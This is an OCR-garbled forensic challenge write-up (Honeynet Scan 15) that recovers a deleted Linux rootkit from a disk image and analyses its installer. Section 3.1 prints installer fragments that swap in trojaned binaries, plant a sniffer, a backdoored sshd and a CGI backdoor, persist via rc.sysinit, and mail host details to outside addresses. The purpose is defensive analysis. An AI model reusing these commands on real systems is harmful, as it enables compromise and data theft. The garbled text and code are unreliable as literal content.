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1 Preparation
Beforeanalysingthescan| first downloadthe packageandcheckits integrity.

[gfk@cesam scanl5]$ wget -q http://project.hone ynet.o rg/ scans/sc anl5/h oneynett ar. gz
[gfk@cesam scanl5]$ md5sum honeynet.tar.gz

0dff8fh9fe022ea80d8f ladedae33e21l honeynet.tar.gz

[gfk@cesam scanl5]$ tar zxvf honeynet.tar.gz

honeynet/

honeynet/honeypot.hd  a8. dd

File size limit exceeded

[gfk@cesam scanl5]$ cd honeynet

[gfk@cesam honeynet]$ Is -l

total 40044

“IW-F----- 1 ofk gfk 40960000 Apr 30 18:05 honeypot.hda8.dd
[gfk@cesam honeynet]$

Oups! Problemo! Sincethis is an educationnatext, thoseinterestedn knowing
how | solvedthe problemcanreadthis smallexplanation.

As you can see,the problemis that the file honeypot.hda8.dds larger thanthe
maximumfile size for this file system. We seethat the maximumfile size for my
systemis actually4096000Chytes(39 MB). After searchingon googlefor a coupleof
minutesl foundthis:

From: Forrest  (forrest@home.com)

Subject:  Re: "File size limit exceeded"---whats up with that?
Newsgroups:  comp.os.linux.securi ty

Date: 2001-04-25 19:17:22 PST

Look in /proc/sysifs/

file-max  shows how many files you can have open

super-max shows how many files the super user can have open
inode-max is the max number of open inodes



You should probably quadruple all of these.  You will have to set up
rc.local to pass these numbers at boot time. If you need help with this,
let  me know.

Forrest
Following whatwassaidthere herewhat! did to solve the problem:

[root@cesam root]# cd /proc/sys/fs/
[root@cesam fsj# cat inode-max

4096

[root@cesam fsj# echo 16384 > inode-max
[root@cesam fsj# cat inode-max

16384

| alsofoundsomeinterestinggeadsaboutthis featureat thesedocations:
http://lists.plug.phoenix.az.us/pipaail/plug-discuss/200-Sefgemker/0G6508.html
http://www.linux-mandrale.can/endoc/72en/rd.html/x3916.html

Now thatthe problemis fixed, let’s returnto our regularprogramming...

[root@cesam scanlbl# tar zxvf honeynet.tar.gz

honeynet/

honeynet/honeypot.hd  a8. dd

honeynet/README

[root@cesam scanl5l#  md5Ssum honeynet/honeypoth  da8.dd
5a8ebf5725b15e563c82 5be 85f 2f8 52e  honeynet/honeypot.h  da8.d d

We now know thatour kit is not corruptedwe canstartanalysing!

2 The Challenge
2.1 List deletedfiles

Sincethegoalof this challengés to recoveradeletedrootkit in the/ partition,we start
by doingthis.

The first thing we dois to runiils  on the partitionimagein orderto list all the
deletedfilesin this partition:

ils -r honeynet/honeypoth  da8.dd

We presentheoutputin thenext table. Notethatthefield st allochasbheerremoved
from thetable;all its entriesweref. Thefield st.nlink hasalsobeenremovedfrom the
table;all its entrieswereO.



stino | stuid | stgid | stmtime statime st.ctime stdtime stmode | stsize | stblockO stblockl
23 0 0 984706608 | 984707090 984707105 984707105/ 100644 | 520333 | 307 308
2038 | 1031 | 100 | 984707105 | 984707105| 984707105 984707169 40755 | O 8481 0

2039 | O 0 1013173693 984707090, 984707105| 984707105| 100755 | 611931| 8482 8483
2040 | O 0 983201398 | 984707090 984707105/ 984707105 100644 | 1 9084 0

2041 | O 0 983588917 | 984707105| 984707105 984707105 100700 | 3713 9085 9086
2042 | O 0 984707105 | 984707105| 984707105 984707105| 100644 | 796 9124 0

2043 | O 0 936892631 | 984707090 984707105 984707105| 100755 | 1345 9096 9097
2044 | O 0 980608292 | 984707103| 984707105 984707105| 100644 | 3278 9098 9099
2045 | O 0 983201320 | 984707103| 984707105 984707105 100755 | 79 9102 0

2046 | O 0 980608304 | 984707103| 984707105 984707105 100644 | 11407 | 9103 9104
2047 | O 0 983200975 | 984707102| 984707103 984707103 100755 | 4060 9115 9116
2048 | 0 0 972242984 | 984707090 984707105 984707105| 100644 | 880 9119 0

2049 | O 0 972242984 | 984707103| 984707103 984707103 100600 | 540 9120 0

2050 | O 0 972242984 | 984707090 984707105 984707105 100644 | 344 9121 0

2051 | O 0 972242984 | 984707103| 984707103| 984707103 100600 | 512 9122 0

2052 | O 0 983201391 | 984707090 984707105 984707105| 100644 | 688 9123 0

2053 | O 0 983200979 | 984707102| 984707103 984707103 100700 | 8268 9124 9125
2054 | O 0 983200990 | 984707105| 984707105| 984707105| 100755 | 4620 9133 9134
2058 | O 0 983201035 | 984707102 984707102 984707102 100755 | 53588 | 9229 9230
2059 | O 0 983201043 | 984707102| 984707103| 984707103 100700 | 75 9283 0

2060 | O 0 983588712 | 984707103| 984707103 984707103 100644 | 708 9284 0

2061 | O 0 983198764 | 984707103| 984707103| 984707103| 100755 | 632066 | 9285 9286
8097 | O 0 984736992 | 984736921| 984736992 984736992 40700 | O 33062 0

8100 | O 0 984736992 | 984736992| 984736992 984736992 100644 | 16329 | 33063 33064
12107| 0 0 984655177 | 984655177| 984655225 984655225 120777 | 16 1764699694 779381102
16110| O 0 949962039 | 984655225| 984655225 984655225/ 100644 | 239 65860 0

20883 | 0 0 984655177 | 984655177| 984655225 984655225 120777 | 16 1764699694 779381102
22103| 0 0 984754122 | 984754122| 984754122| 984754122 100600 | O 0 0

22104| 0 0 984754122 | 984754122| 984754122| 984754122 100600 | O 0 0

22105| 0 0 984754122 | 984754122| 984754122 984754122 100644 | O 0 0

22106| 0 0 984754076 | 984754076 984754076/ 984754076/ 100600 | O 0 0

22107| 0 0 984754076 | 984754076 984754076/ 984754076/ 100600 | O 0 0

22108| 0 0 984754076 | 984754076 984754076/ 984754076/ 100644 | O 0 0

28172 0 0 984655177 | 984655177| 984655225 984655225 120777 | 16 1764699694, 779381102
30188| 0 0 952425102 | 984677103| 984707102 984707102 100755 | 66736 | 126628 126629
30191 0 0 952452206 | 984677352| 984707102 984707102 100555 | 60080 | 126695 126696
48284 0 0 952425102 | 984677122| 984707102 984707102 100755 | 42736 | 199330 199331
56231| 0 0 984655056 | 984655056 984655056 984655056 100644 | 33135 | 229685 229686

This tableis a bit hardto read,but will still be helpfull laterto know which files
werethefiles usedby theblackhat.




2.2 Putting nameson inodes

In thelastsection,we listed every file thathadbeendeletedandthatis still presenbn

the partition, but they arepresentedby inodenumberinsteadof thefriendly filenames.
To discover which filenamegoeswith which inodenumber we mustreadthe content
of theroot directory inode table. To know whatinode numberhasthe root directory
inodetable,we mountthe partitionandcheckwith Is -l

[ofk@cesam honeynet]$  su

Password:

[root@cesam honeynetl# mount -0 ro,loop,nodev,noexec honeypot.hda8.dd mnt
[root@cesam honeynet]#  exit

[gfk@cesam honeynet]$ Is -l

total 265313

49249  -rw-r----- 1 ofk gfk 471 Apr 26 17:45 README
49248 -rw-r----- 1 ofk gtk 271401984 Mar 16 12:43 honeypot.hda8.dd
2 drwxr-xr-x 18 root root 1024 Mar 15 20:45 mnt

We can seethat folder mnt hasinode number2 and hasbeenlast modified on
March 15th at 20:45(8:45PM). All we have to dois to list the contentof inode 2 to
have every infos aboutthe contentof therootdirectory Sincewe know thattherootkit
we arelooking for is on theroot directory we canhopethatwe will discoverits name
andinodenumberby lookinginto theroot directoryinodetable.

However, the datacontainedn the inodetableis containedin raw binary, which
makesit harderto read. The easiesivay to readthe contentof the inodeis to passit
into od. Herewe make two tries,onewith the-c flag, to print the outputin characters
(ASCII), andtheotherwith the-h flag, to print the outputin hexadecimal.

[gfk@cesam scanl5]$  tct-1.06/binficat honeynet/honeypot.hd  a8. dd 2lod -c
0000000 002 0 \0 \0 \f \0 001 002 . \0 \0 \W 002 0 W0 \0
0000020 \f \0 002 002 . . 0 W0 Ww \0 \0 \0 024 \0 \n 002
0000040 I o s t + f o u n d W0 V0 017 0 \0

0000060 \f \0 004 002 b o o t a037 \0 0 \ \0O 004 002
0000100 h o m e021 / 0 W \ \0 003002 wu s r \0

0000120 >\ 0 ¥ 0 003002 v a r W0 g NVIW \0
0000140 \f \0 004 002 p r o c |V \0 \0 \ \0 003 002
0000160 t m p \0 7 0 W0 \ 0 003002 d e v \0
0000200 e 0 0 V¥ W0 003002 e t ¢ \0 u \0 \0
0000220 \f \0 003 002 b i n \0 Y205 \0 \0 \ \0 003 002
0000240 | i b W0 4t 225 \0 0 W \0 003002 m n t \0
0000260 221 0 0 ¥ W0 003002 o p t 0O i \0 \0
0000300 \f \0 004 002 r o o t A \0 \0 \f \0 004 002
0000320 s b i n b 0 \0 , 003 006 002 f | o p
0000340 p 'y \0 0 027 \0 \0 \0 034 003 006 001 | k.t
0000360 g z \0 \0 \a 0 \0 \f 003 004 002 | a

s t
0000400 W0 0 0 W0 W0 V0 V0 W W0 WV W W WV WV W ‘o

*



0002000

[gfk@cesam scanl5]$ tct-1.06/binficat honeynet/honeypot.hd  a8. dd 2Jod -x
0000000 0002 0000 000c 0201 002e 0000 0002 0000
0000020 000c 0202 2e2e 0000 000b 0000 0014 020a
0000040 6f6c 7473 662b 756f 646e 0000 Ofbl 0000
0000060 000c 0204 6f62 746f 1f61 0000 000c 0204
0000100 6f68 656d 2f11 0000 000c 0203 7375 0072
0000120 3ecl 0000 000c 0203 6176 0072 4e71 0000
0000140 000c 0204 7270 636f 5649 0000 000c 0203
0000160 6d74 0070 5e21 0000 000c 0203 6564 0076
0000200 65f9 0000 000c 0203 7465 0063 75a9 0000
0000220 000c 0203 6962 006e 8559 0000 000c 0203
0000240 696c 0062 9509 0000 000c 0203 6e6d 0074
0000260 ac91 0000 000c 0203 706f 0074 b469 0000
0000300 000c 0204 6f72 746f bc4l 0000 000c 0204
0000320 6273 6e69 eb62 0000 032c 0206 6c66 706f
0000340 7970 0000 0017 0000 031c 0106 6h6c 742e
0000360 7a67 0000 07f6 0000 030c 0204 616c 7473
0000400 0000 0000 0000 0000 0000 0000 0000 0000
*

0002000

Okay, thisis still pretty hardto read,but we canstartto seesomefilenamesn the
ascii output. To decorticatethe contentof this inode, we mustfirst understandvhat
it is (duh),to do so,we could buy an expensve book aboutthe SecondExtendedrile
System(ext2fs), but sincewe arepoor (well atleastl am)andthatthe Netis sonice
andthat we don’'t want to kill a tree, we searchan online ext2 documentatioh and
foundwhatwe arelooking for.

Directoriesarespecialfiles thatareusedto createaccesgathto thefiles
ondisk. It is very importantto understandhataninode may have mary
accespaths.Sincethedirectoriesareessentiapartof thefile systemthey
have aspecificstructure A directoryfile is alist of entriesof thefollowing
format:

struct  ext2_dir_entry {
unsigned long inode;
unsigned short rec_len;
unsigned short name_len;

char name[EXT2_NAME_LEN}
3
inode pointsto theinodeof thefile.
reclen lengthof theentryrecord.
namelen lengthof thefile name.
name nameof thefile.

http://step.polymtl.catid/ext2fs/ext2fs_8.html



Thereis suchan entry in the directoryfile for eachfile in the directory
Sinceext2fsis a Unix file systemthe first two entriesin the directoryare
file.” and'..” which pointstothecurrentdirectoryandtheparentirectory
respectiely.

Knowing this, we cantry to reformatthe dumpsothatit is morereadable.

002 \0 W0 1\ \ \0 001002 . V0 0 \O
0002 0000 000c 0201 002e 0000 (inode=2)

0002 \0 \0 \0 \ \0 002 002 . . \0 \0
0002 0000 000c 0202 2e2e 0000 (inode=2)

v 0 W0 V0024 0O \Wno02 | o s t + f o u n d\0
000b 0000 0014 020a 6f6c 7473 662b 756f 646e 0000 (inode=11)

017 \0 W0 \f \0 004 002 b o o t
0fbl 0000 000c 0204 6f62 746f (inode=4017)

a037 0 \0 ¥ \0 004002 h o m e
1f61 0000 000c 0204 6f68 656d (inode=8033)

020/ W0 0 M W0 003002 u s r \0
2f11 0000 000c 0203 7375 0072 (inode=12049)

> \0 W0 W W0 003002 v a r \0
3ecl 0000 000c 0203 6176 0072 (inode=16065)

g N VW W0 M V004002 p r o c
4e71 0000 000c 0204 7270 636f (inode=20081)

[V \0 0 V¥ 1\ 003002 t m p \0
5649 0000 000c 0203 6d74 0070 (inode=22089)

7 0 \0 ¥ \0 003002 d e v \0
5e21 0000 000c 0203 6564 0076 (inode=24097)

e \0 0 ¥ 0 003002 e t c \O
65f9 0000 000c 0203 7465 0063 (inode=26105)

u 0 0 ¥ W0 003002 b i n \0
75a9 0000 000c 0203 6962 006e (inode=30121)

Y205 \0 \0 \ \0 003 002 | [ b \0
8559 0000 000c 0203 696c 0062 (inode=34137)

t 225 W0 0 ¥ \0 0083002 m n t \0

\0



9509 0000 000c 0203 6e6d 0074 (inode=38153)

221 0 \0 ¥ 0 003002 o p t \0
ac9l 0000 000c 0203 706f 0074 (inode=44177)

[ 0 \0 ¥ \0 004002 r o o t
b469 0000 000c 0204 6f72 746f (inode=46185)

A 0 \0 ¥ 0 004002 s b i n
bc4l 0000 000c 0204 6273 6e69 (inode=48193)

b 0 0 , 003006002 f | o p p y \0 \0
eb62 0000 032c 0206 6c66 706f 7970 0000 (inode=60258)

027 \0 \0 \0 034 003 006 001 I k . t g z \0 \0
0017 0000 031c 0106 6h6c 742e 7a67 0000 (inode=23)

\a \0 \0 \f 003 004 002 | a s t 0 \0
07f6 0000 030c 0204 616c 7473 0000 (inode=2038)

0 0 W0 0 0 0 W W0 0 W0 W 0 0 \0
0000 0000 0000 0000 0000 0000 0000

If we comparehisto thefilesthatarestill present:

[gfk@cesam mnt]$ Is i

30121 bin 60258 floppy 38153 mnt 48193 shin
4017 boot 8033 home 44177 opt 22089 tmp
24097 dev 34137 lib 20081 proc 12049 usr
26105 etc 11 lost+found 46185 root 16065 var

We canseethatthefileslktgz andlast weredeleted.By looking at the inode
table (directory), we seethat the inode for thefile lk.tgz  is 0x0017,thatis 23 in
decimal,andthatfolderlast hadtheinodeOx07f6,thatis 2038in decimal.

2.3 Let'stry to bring them back to life!

To dorthis, | usea custommadeperl scriptinspiredby a shellscriptmadeby Thomas
Roesslein its analysisfor the ForensicChallengé.
Heres acopy of thescriptreadinodes.pl:

#/usr/bin/per|

use strict;

my $ILS=""/scanl15/tct-1 .06 /bi nfi Is" ;

my $ICAT=""/scan15/tct- 1.0 6/b in/ ica t"

my $IMAGE=""/scan15/hon eynet/ honeypot. hda8.d d";

2http://project.honmet org/challengefesulis/submissins/rosslerevidene. ixt




my $RECOVERY="recovery" ;

my $output = ‘$ILS -r $IMAGE'

my @deletedFiles = split(A\n/, $output);
my $n=@deletedFiles;

print  "Found "$n-3"  files to recover.\n";

for (my $i=3; $i<$n; $i++) |
# Recover files

my @infos = split(\l/, $deletedFiles[$i]);
print  "Recovering  inode S$infos[0]...";
print ~ "(".$i-2,"/",$n-3,") \n";

system("$ICAT  $IMAGE $infos[0] > $RECOVERY/$infos[0]" );

my $filedata="$RECOVERY /$i nfo s[0 ].i nfo s";
print  "Writing  infos to $filedata\n”;

open (DATAFILE,"> $filedata") || die "Can't write to file $filedata”,

print  DATAFILE "Inode  $infos[0] recovered from $IMAGE\n\nRaw ILS data:\n";

print  DATAFILE "st_ino|st_alloc|st_ uid |st _gi d|s t mtim e|s t_ati me|st_cti me|st_dti me|";
print  DATAFILE "st_mode|st_nlink|st _Si ze| st_ blo ckO|st _bl ockl\ n";

print DATAFILE $deletedFiles[$i],"\ n\n Some formatted  infos:\n";

my ($sec,$min,$hour,$md  ay, $mon,$ year,$ wday,$ yday,$ isd st) = localtime($infos[4])
$year+=1900;

print  DATAFILE sprintf("Last Modification time:  %i/%i/%i  %2i:%2i:%2i\n",
$mday,$mon+1,$year,$ hour,$ min,$s ec) ;

($sec,$min,$hour,$md  ay, $mon,$ year,$ wday,$ yday,$ isd st) = localtime(Sinfos[5]) ;
Syear+=1900;

print  DATAFILE sprintf("Last Access time:  %i/%i/%i  %2i:%2i:%2\n",$mda v,
$mon+1,$year,$hour,$  min,$s ec) ;

($sec,$min,$hour,$md  ay, $mon,$ year,$ wday,$ yday,$ isd st) = localtime($infos[6]) ;
Syear+=1900;

print  DATAFILE sprintf("Last inode status change time: %i/%i/%i  %2i:%2i:%2i\n",
$mday,$mon+1,$year,$ hour,$ min,$s ec) ;

($sec,$min,$hour,$md  ay, $mon,$ year,$ wday,$ yday,$ isd st} = localtime($infos[7])
$year+=1900;

print  DATAFILE sprintf("Deletion time (Linux only):  %i/%i/%i  9%2i:%2i:%2i\n",
$mday,$mon+1,$year,$ hour,$ min,$s ec) ;

print  DATAFILE sprintf("File type:  %s\n", substr($infos[8],0, 2)
print  DATAFILE sprintf("File permissions: %s\n",  substr($infos[8],2 4) )
print  DATAFILE sprintf("File size:  %i bytes; %.1f KB; %.2f MB\n", $infos[10],

$infos[10]/1024, 3$infos[10]/1048576);

n

print  DATAFILE "\nNote that the date are written the right way (at least here,



[IH

in  Canada), that's:\nday/month/ year hour:min:sec\n”;
close (DATAFILE);

}
exit(0);

This scriptusesicatandils from The Coroners Toolkit (TCT)? by DanFarmerand
WietseVenema.The scriptdumpsthe recoveredinodesin the folder recovery  along
with someinformationsaboutthem.

All we have to do now is to openthefiles representingheinodeswe areinterested
in, in this casejnode23and2038.

[gfk@cesam scanl5]$ cat recovery/23.infos
Inode 23 recovered from “/scanl5/honeynet/ho ney pot .hd a8. dd

Raw ILS data:
st_ino|st_alloc|st_u id st gid |[st _mtime|st _atimelst _ctime|s t d tim e|s t mode|
st_nlink|st_size|st blo ckO|st _bl ock 1

23[f|0[0]984706608|9  84707090| 98470710598 4707105|1 00644 0] 52033330 7|3 08

Some formatted  infos:

Last Modification time: 15/3/2001  20:36:48

Last Access time: 15/3/2001 20:44:50

Last inode status change time: 15/3/2001 20:45:5
Deletion  time (Linux only);  15/3/2001 20:45:5
File type: 10

File  permissions: 0644

File size: 520333 bytes; 508.1 KB; 0.50 MB

Note that the date are written the right way (at least here, in Canada), that's:
day/month/lyear  hour:min:sec

[ofk@cesam scanl5]$ cp recovery/23  rootkit/Ik.tar
[gfk@cesam scanl5]$ cd rootkit

[gfk@cesam rootkit]$ gunzip Ik.tgz

[gfk@cesam rootkit]$ tar xvf Ik.tar

last/

last/ssh

last/pidfile

last/install

last/linsniffer

last/cleaner

last/inetd.conf

last/Isattr

last/services

last/sense

last/ssh_config

Shttp://Mwwporcupine.ag/forensts/ct.html



last/ssh_host_key
last/ssh_host_key.pu b
last/ssh_random_seed
last/sshd_config
last/sl2

last/last.cgi

last/ps

last/netstat
last/ifconfig

last/top

last/logclear

last/s

last/mkxfs

It is notpossibleto readthecontentof deletedfolderlast becausé’sinodenum-
ber (2038) is empty Most likely this is becausehere hasbeensomedisk actiity
betweerthe erasureof thefolder andtheimageof the partitionhasbeentaken:

[gfk@cesam scanl5]$ cat recovery/2038.infos
Inode 2038 recovered from “/scanl5/honeynet/hon eypot. hda8. dd

Raw ILS data:
st_ino|st_alloc|st_u id st gid |[st _mtime|st _atimelst _ctime|s t d tim e|s t mode|
st_nlink|st_size|st blo ckO|st _bl ock 1

2038[f|1031/100[9847 07105 984707105]98 47071059 84707169 40755]0| 0|8 4810

Some formatted  infos:

Last Modification time: 15/3/2001 20:45:5

Last Access time: 15/3/2001 20:45:5

Last inode status change time: 15/3/2001 20:45:5
Deletion  time (Linux only):  15/3/2001 20:46:9
File type: 40

File permissions: 755

File size: 0 bytes; 0.0 KB; 0.00 MB

Note that the date are written the right way (at least here, in Canada), that's:
day/month/year  hour:min:sec

[gfk@cesam scanl5]$ cat recovery/2038 | od

0000000

But we canstill getits original contentby untarringthe compressefile lk.tgz  as
we did in the precedenstep.

10



3 Short analysisof the deletedfiles

3.1 Theinstall script

After ashortexaminationof therecoveredfolder, | foundthatthefile install  (inode
2041)is very interesting.

install  is ashellscriptthatis executedafterthe systemis compromisediIt does,
in order:

1. Announceitself and checksif make, gcc and sshare presentin their default

location.

#!/bin/sh

clear

unset HISTFILE

echo Mkt Instalarea Rootkitului A Pornit  La Drum *rxekikket
EChO hkkkkkkkk ercea SUGI PULA *hkkkkkkkhkhkkkkkkkkk kkk  kkk kkk  kk!
echo kkkkkek Multumiri  La Toti Care M-Au Ajutat etk
echo hkkkkkkkkk Lemme lee You A Tlp . kkkkkkkkkkkkkkkkkkkkk kkk  kkN
echo ko Ignore  everything, call your freedom *x¥xkekrkekx
echo Mk Scream & swear as much as you can *ririkkcn
echo kR Cuz anyway nobody will hear you and no one wil *"
EChO kkkkkkkkk Care about you kkkkkkkkkkkkkkkkkkkk K*kk  kkk  kkk kkk KAV
echo

echo

chown root.root *

if [ -f [lusr/bin/make I, then
echo "Are Make !"

else
echo "Nu Are Make !"

fi

if [ -f [usribin/gce I, then
echo "Are Gcc !"

else
echo "Nu Are Gcc "

fi

if [ -f [usr/shin/sshad/ I, then
echo "Are Ssh !

else
echo "Nu Are Ssh !I"

fi

Strangelythe scriptsdoesnot needmalke, gcc or sshd.It makesthetestsjustto
inform theluserthatthey arepresent.

2. Installstrojanedversionsof ifconfig , netstat , ps andtop . Also installsa
programcalledmkxfs .

11



echo -n "™ Inlocuim nestat .. alea alea
rm -rf  /shin/ifconfig

mv  ifconfig Ishinfifconfig
rm -rf  /bin/netstat

mv netstat  /bin/netstat
rm -rf  /bin/ps

mv ps /bin/ps

rm -rf  Jusr/bin/top

mv top /ust/bin/top

cp -f mkxfs Jusr/shin/
echo ™ Gata.."

echo -n "™ Dev...

echo

echo

. Creatediles/dev/rpm and/dev/last

touch /dev/rpm  >/dev/rpm

echo "3 sl2" >>/devirpm

echo "3 sshdu" >>/dev/rpm
echo "3 linsniffer" >>[dev/rpm
echo "3 smurf* >>/dev/rpm
echo "3 slice"  >>/dev/rpm
echo "3 mech" >>/dev/rpm

echo "3 muh" >>/devirpm

echo "3 bnc" >>/devirpm

echo "3 psybnc" >> /dev/rpm
touch /dev/last >/dev/last
echo "1 193.231.139"  >>/dev/last
echo "1 213.154.137"  >>/dev/last
echo "1 193.254.34"  >>/devllast
echo "3 48744" >>/devllast

echo "3 3666" >>/dev/last

echo "3 31221" >>/devllast

echo "3 22546" >>/dev/last

echo "4 48744" >>[devllast

echo "4 2222" >>/dev/last

echo " Gata"

Thefile /devirpm lookslik e linux rootkit’s (Irk) ps andtop configuratiorfiles.
Thefile /dev/last  lookslikelrk’snetstat  configurationfile. This makesme
think thatthetrojanedversionsof ifconfig  , netstat , ps andtop arethesame
astheonepresenin linux rootkit.

. Createdolders/dev/ida/.drag-on and/dev/ida/".. " andinstalls,among
otherthings,a sshddaemoranda portsnifer.
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echo "* Facem Director...Si Mutam Alea..
mkdir -p /devl/ida/.drag-on

mkdir -p /dev/ida/".. !

echo " Copiem ssh si alea"

cp linsniffer logclear  sense sl2 mkxfs s ssh_host key  ssh_random_seed \
/dev/ida/.drag-on/

cp linsniffer logclear  sense sl2 mkxfs s ssh_host key  ssh random seed \
[devfida/".. "

rm -rf  linsniffer logclear  sense sl2 mkxfs s ssh_host key  ssh_random_seed
touch /devl/ida/.drag-on/t cp. log

touch /devlida/".. "ltcp.log

Heres adescriptionof thefilesinstalled:

linsniffer portsnifer

logclear scriptto deletesniffer’'slog andrestartlinsniffer

sense Sortsthe outputfrom LinSniffer

sl2 DoStool basedn synk4(my guess)

mkxfs sshddaemorwith a backdoor

S sshddaemorconfiguratiorfile

sshhostkey sshddaemorhostkey
sshrandomseed sshddaemorrandomseed

. Replacesetc/inetd.conf and/etc/services by its own versions.

cp -f inetd.conf letc
cp f services fetc
killall -HUP inetd
echo

echo

Thenewinetd.conf  andservices hasbeerrecoreredasinode2044and2046,
respectily, in thefolderinterestinodes.

. Modifies/etc/rc.dlrc.sysini t to run/usr/bin/lsattr oneveryboot.

echo

echo " Adaugam In Startup:)
rm -rf  Jusr/bin/lsattr

echo "lust/bin/lsattr 1 -X53 -p" >> [etc/rc.dlrc.sysini t
echo >> [etc/rc.d/rc.sysinit

. Installsa shellscriptat/usr/bin/lsattr

cp -f lsattr  /fusrt/bin/
chmod 500 /ust/bin/lsattr
chattr  +i /usr/bin/lsattr
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{usr/bin/Isattr
Sleep 1

Thefile Isattr  hasbeenrecoveredfrominode2045in thefolderinterestinodes:

#!/bin/sh

cd /dev/ida/.drag-on

Jmkxfs — f s

Jlinsniffer >> Jtcp.log &
cd /

. Triesto installa CGI backdootast.cgi

if [ -d /home/httpd/cgi-bin ]

then

mv -f last.cgi /home/httpd/cgi-bi n/

fi

if [ -d /usr/local/httpd/cgi -bin ]

then

mv -f last.cgi lust/local/httpd/c gi- bin /
fi

if [ -d [usr/locallapachel/cg i- bin ]

then

mv -f last.cgi lust/locallapache/ cgi -bi n/
fi

if [ -d /www/httpd/cgi-bin ]

then

mv -f last.cgi Iwwwi/httpd/cgi-bin /

fi

if [ -d wwwicgi-bin ]

then

mv -f last.cgi Iwwwi/cgi-bin/

fi

Thefile last.cgi  hasbeenrecoveredfrom inode2054in the folder interestin-
odes.

. Sendsan emailto last@linuxmail.org andbidi_damm@yahoo.com contain-
ing infos aboutthe compromisechost.

echo " Luam Informatiile dorite
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echo " Info : $(uname -a)" >> computer
echo "* Hostname : $(hostname -f)* >> computer

echo " |IfConfig  : $(/shinfifconfig | grep inet)"  >> computer

echo "™ Uptime : $(uptime)"  >> computer

echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)"  >> computer
echo "™ Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer

echo ™ Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer

echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)"  >> computer

echo "* Spatiu Liber:  $(df -h)" >> computer

echo "™ Gata ! Trimitem Mailul ..Asteapta Te Rog "
cat computer | mail -s "placinte” last@linuxmail.org
cat computer | mail -s "roote" bidi_damm@yahoo.com

10. Cleansup afteritself.
echo "™ Amtrimis mailul .. stergem fisierele care nu mai trebuie "
echo
echo
echo ™ GATA®™*
echo
echo "* That Was Nice Last "
cd /
rm -rf last lktgz  computer Ik.tar.gz

| went to romanianirc channelsto get the Romanianssentencegranslatedinto
english,but all | couldgetis alot of DCC offersfor IRC worms/virus.Well, it' sagood
way to know if your anti-virusis working... hi.

3.2 Lookslike...

Themodusoperandis very similar to theoneof theattackpresentedn scanl3where
a Romanianblackhatknown as Begys usesa rootkit (lamerk)to compromisea host.
Thefollowing actionswereexecutedby thelamerkrootkit:

1. Installstrojanedversionsof netstat,ps, ifconfig andtop taken from Irk (linux
rootkit).

2. Creatediles /devicaca  (Irk’s netstatconfig. file) and/dev/dsx (Irk’s psand
top configfile)

3. Createdolder/dev/idal.inet andinstalls,amongotherthings,asshddaemon
(sshdu ) anda portsnifer (linsniffer ) in thefolder.

4. Createsashellscriptin /usr/bin/hdparm

5. Modifies/etc/rc.d/rc.sysinit to run hdparm(thatis the sshdbackdoorand
thesniffer) oneveryboot.
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6. Triesto installaCGl backdoomecys.cgi

7. Sendsan emailto becys@becys.org  containinginfos aboutthe compromised
host.

4 BonusQuestion
We canverify thattherootkit worked by looking at thefiles createdoy therootkit:

[ofk@cesam honeynet]$  su
Password:

[root@cesam honeynet]l# mount -0 ro,loop,nodev,noexec honeypot.hda8.dd mnt
[root@cesam honeynet]#  exit
[gfk@cesam honeynet]$ cd mnt
[gfk@cesam mnt]$ cat devirpm
3 sl2

sshdu

linsniffer

smurf

slice

mech

muh

bnc

psybnc

gfk@cesam mnt]$ cat devllast
193.231.139

213.154.137

193.254.34

48744

3666

31221

22546

48744

4 2222

[gfk@cesam mnt]$ cd deviida/.drag-on/
[gfk@cesam .drag-on]$ Is -l

P OLOOWWWRPRPPEGWWWWWWWW

total 647

“[WX---=== 1 root root 7165 Mar 15 20:45 linsniffer
[WX------ 1 root root 75 Mar 15 20:45 logclear
-TWXT-XT-X 1 root root 632066 Mar 15 20:45 mkxfs

-[W---1-- 1 root root 708 Mar 15 20:45 s

-TWXT-Xr-X 1 root root 4060 Mar 15 20:45 sense

-[WX------ 1 root root 8268 Mar 15 20:45 sl2

“[W--mmmmm 1 root root 540 Mar 15 20:45 ssh_host_key
“[W--mmmem 1 root root 512 Mar 16 09:45 ssh_random seed
-TW-I-- 1 root root 138 Mar 16 11:28 tcp.log
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[ofk@cesam
[ofk@cesam
total 646

“TWXT-XT-X
WA=
“TWXT-XT-X

.drag-on]$
1$ Is

PR RPRPRRPREREREPRE R

root
root
root
root
root
root
root
root
root

cd ".l.
-l

root
root
root
root
root
root
root
root
root

7165
75
632066
708
4060
8268
540
512

0
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Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar

15
15
15
15
15
15
15
15
15

20:45
20:45
20:45
20:45
20:45
20:45
20:45
20:45
20:45

linsniffer

logclear

mkxfs

S

sense

sl2

ssh_host_key
ssh_random_seed
tcp.log



